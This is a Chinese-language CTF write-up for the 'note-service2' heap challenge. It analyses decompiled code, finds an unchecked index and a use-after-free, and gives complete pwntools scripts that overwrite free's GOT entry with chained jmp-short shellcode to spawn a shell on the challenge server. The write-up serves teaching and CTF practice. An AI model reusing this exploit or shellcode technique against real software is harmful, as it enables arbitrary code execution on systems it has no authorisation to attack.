note-service2

准备


64位23版本的堆题

分析

main函数

1
2
3
4
5
6
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
sub_BE0(a1, a2, a3);
sub_C07();
sub_E30();
}

给了两个函数,主要的是下面那个函数

sub_E30函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __noreturn sub_E30()
{
while ( 1 )
{
sub_C56();
printf("your choice>> ");
switch ( (unsigned int)sub_B91() )
{
case 1u:
sub_CA5();
break;
case 2u:
sub_DC1();
break;
case 3u:
sub_DD4();
break;
case 4u:
sub_DE7();
break;
case 5u:
exit(0);
default:
puts("invalid choice");
break;
}
}
}

先有一个菜单函数sub_C56,然后是5个选项,第5个是退出,前面四个分别对应了一个函数

sub_C56(菜单)函数

1
2
3
4
5
6
7
8
9
int sub_C56()
{
puts("---------menu---------");
puts("1. add note");
puts("2. show note");
puts("3. edit note");
puts("4. del note");
return puts("5. exit");
}

提示语是有增删改查功能

1-sub_CA5(add)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 sub_CA5()
{
__int64 size; // rax
int v1; // [rsp+8h] [rbp-8h]
unsigned int size_1; // [rsp+Ch] [rbp-4h]

size = (unsigned int)n11;
if ( n11 >= 0 )
{
size = (unsigned int)n11;
if ( n11 <= 11 )
{
printf("index:");
v1 = sub_B91();
printf("size:");
size = sub_B91();
size_1 = size;
if ( (unsigned int)size <= 8 )
{
s_0[v1] = malloc((int)size);
if ( !s_0[v1] )
{
puts("malloc error");
exit(0);
}
printf("content:");
sub_B69(s_0[v1], size_1);
return (unsigned int)++n11;
}
}
}
return size;
}

这里对输入的索引没有检查,所以存在数组越界,可以写在任意地址
下面对大小限制为最大为8
输入内容涉及到sub_B69函数,参数为s_0[v1], size_1 = size = max(8)

sub_B69函数

1
2
3
4
__int64 __fastcall sub_B69(__int64 a1, unsigned int a2)
{
return sub_AC3(a1, a2, 10LL);
}

涉及到sub_AC3函数,参数为a1 = s_0[v1], a2 = size_1 = size = max(8),10

sub_AC3函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_AC3(__int64 a1, int a2, char buf_1)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
for ( i = 0; a2 - 1 > i; ++i )
{
read(0, &buf, 1uLL);
if ( buf == buf_1 )
{
*(_BYTE *)(i + a1) = 0;
break;
}
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0;
return __readfsqword(0x28u) ^ v7;
}

因为 a2 = size_1 = size = max(8) ,所以在这里

1
for ( i = 0; a2 - 1 > i; ++i )

限制我们的内容输入最大为7字节

2-sub_DC1(show)函数

1
2
3
4
int sub_DC1()
{
return puts("not implement");
}

发现这里并没有实现show功能

3-sub_DD4(edit)函数

1
2
3
4
int sub_DD4()
{
return puts("not implement");
}

同样这里并没有实现edit功能

4-sub_DE7(delete)函数

1
2
3
4
5
6
7
8
void sub_DE7()
{
int v0; // [rsp+Ch] [rbp-4h]

printf("index:");
v0 = sub_B91();
free((void *)s_0[v0]);
}

释放堆块后,没有修改指针存在UAF漏洞

思路

这里只有增删功能,有UAF和数组越界,任意地址写,这里原本想法是用UAF但只有增删功能,不知道怎么去打,所以去学习了其他大佬的方法,不用UAF,下面是我自己的思路和整理
往堆里写入shellcode,对于输入的大小限制,使用汇编指令jmp指令中的jmp short来把shellcode进行拼接,写入的起始点是free_got处,这样最后释放带有’/bin/sh’的块就能触发连接


知识点:
jmp short(无条件短跳转)
范围
短跳转属于相对寻址,它通过相对于当前指令地址的偏移量来计算目标地址。具体来说:

  • 偏移量用 8 位有符号数表示(-128 到 +127)
  • 目标地址 = 当前指令地址(EIP) + 2(指令长度) + 偏移量
    这种 8 位偏移量的限制使得短跳转的寻址范围非常有限,只能在当前指令的前 128 字节到后 127 字节之间跳转。
    机器码
    格式:
1
EB XX
  • EB 是操作码(opcode),表示短跳转
  • XX 是 8 位有符号偏移量
    shellcode构造:
    execve(“/bin/sh”, NULL, NULL)
    系统调用号rax
    第一个参数rdi-“/bin/sh”
    第二个参数rsi-NULL
    第三个参数rdx-NULL

先创建一个0块,内容为’/bin/sh’,做准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.arch = 'amd64'
context.log_level = "debug"
io=remote('61.147.171.105',56910)
# io= process('/home/motaly/pwn')

def add(index,size,content):
io.sendlineafter("your choice>>", "1")
io.sendlineafter("index:", str(index))
io.sendlineafter("size:", str(size))
io.sendlineafter("content:", content)

def delete(index):
io.sendlineafter("your choice>>", "4")
io.sendlineafter("index:", str(index))

# execve("/bin/sh", NULL, NULL) rdi,rsi,rdx
add(0,8,b'/bin/sh')

然后确定free_got的索引,因为写入的shellcode片段第一段就要在free_got处,这样子最后删除才能触发shellcode
查看ida,堆块输入在s_0中


输入点地址为0x2020A0

free_got的地址为0x202018
索引为(0x202018 - 0x2020A0) // 8 = -17
接着jmp short(无条件短跳转),要确跳转地址的偏移,这里我们是堆块间的跳转
先随便创建2个堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.arch = 'amd64'
context.log_level = "debug"
# io=remote('61.147.171.105',56910)
io= process('/home/motaly/pwn')

def add(index,size,content):
io.sendlineafter("your choice>>", "1")
io.sendlineafter("index:", str(index))
io.sendlineafter("size:", str(size))
io.sendlineafter("content:", content)

def delete(index):
io.sendlineafter("your choice>>", "4")
io.sendlineafter("index:", str(index))

add(0,8,b'aaaa')
add(0,8,b'aaaa')
gdb.attach(io)


看到堆块间输入点的差值为0x20(32),这里我们统一输入最大字节为7字节,所以跳转的偏移是32-7=25(0x19)
下面开始写shellcode

1
2
3
4
5
add(0,8,b'/bin/sh')
add(-17,8,asm('xor rsi, rsi')+b'\x90\x90\xEB\x19')
add(1,8,asm('xor rdx, rdx')+b'\x90\x90\xEB\x19')
add(2,8,asm('mov eax, 59')+b'\xEB\x19')
add(3,8,asm('syscall'))

清零操作选取xor 寄存器,寄存器指令,长度会小于mov 寄存器,0
这里通过这个语句进行验证

1
2
3
print(len(asm('xor rsi, rsi')))
print(len(asm('mov rsi, 0')))
pause()


看到这里用mov就已经是7字节长度了,而用xor只有3字节长度
正因xor只有3字节加上后面跳转的'\xEB\x19'这2个字节只有5个字节,但'\x19'我们是按7字节算的,所以这里我补齐了两个字节'\x90\x90',我用的是nop(0x90),其他不影响操作的也行
(这只是我学习过来的写法,其他的能出的也是可以的,不局限)
最后 add(2,8,asm('mov eax, 59')+b'\xEB\x19') 这里不用补齐是因为前面 asm('mov eax, 59') 就已经是5字节了

(这里汇编指令顺序,因为都能出,所以就先不考虑具体好坏)
最后删除0块

1
2
3
4
5
6
7
# execve("/bin/sh", NULL, NULL) rdi,rsi,rdx
add(0,8,b'/bin/sh')
add(-17,8,asm('xor rsi, rsi')+b'\x90\x90\xEB\x19')
add(1,8,asm('xor rdx, rdx')+b'\x90\x90\xEB\x19')
add(2,8,asm('mov eax, 59')+b'\xEB\x19')
add(3,8,asm('syscall'))
delete(0)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.arch = 'amd64'
context.log_level = "debug"
io=remote('223.112.5.141',64780)
# io= process('/home/motaly/pwn')

def add(index,size,content):
io.sendlineafter("your choice>>", "1")
io.sendlineafter("index:", str(index))
io.sendlineafter("size:", str(size))
io.sendlineafter("content:", content)

def delete(index):
io.sendlineafter("your choice>>", "4")
io.sendlineafter("index:", str(index))

# execve("/bin/sh", NULL, NULL) rdi,rsi,rdx
add(0,8,b'/bin/sh')
add(-17,8,asm('xor rsi, rsi')+b'\x90\x90\xEB\x19')
add(1,8,asm('xor rdx, rdx')+b'\x90\x90\xEB\x19')
add(2,8,asm('mov eax, 59')+b'\xEB\x19')
add(3,8,asm('syscall'))
delete(0)
io.interactive()

不加填充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.arch = 'amd64'
context.log_level = "debug"
io=remote('223.112.5.141',64780)
# io= process('/home/motaly/pwn')

def add(index,size,content):
io.sendlineafter("your choice>>", "1")
io.sendlineafter("index:", str(index))
io.sendlineafter("size:", str(size))
io.sendlineafter("content:", content)

def delete(index):
io.sendlineafter("your choice>>", "4")
io.sendlineafter("index:", str(index))

# execve("/bin/sh", NULL, NULL) rdi,rsi,rdx
add(0,8,b'/bin/sh')
add(-17,8,asm('xor rsi, rsi')+b'\xEB\x1b')
add(1,8,asm('xor rdx, rdx')+b'\xEB\x1b')
add(2,8,asm('mov eax, 59')+b'\xEB\x19')
add(3,8,asm('syscall'))
delete(0)
io.interactive()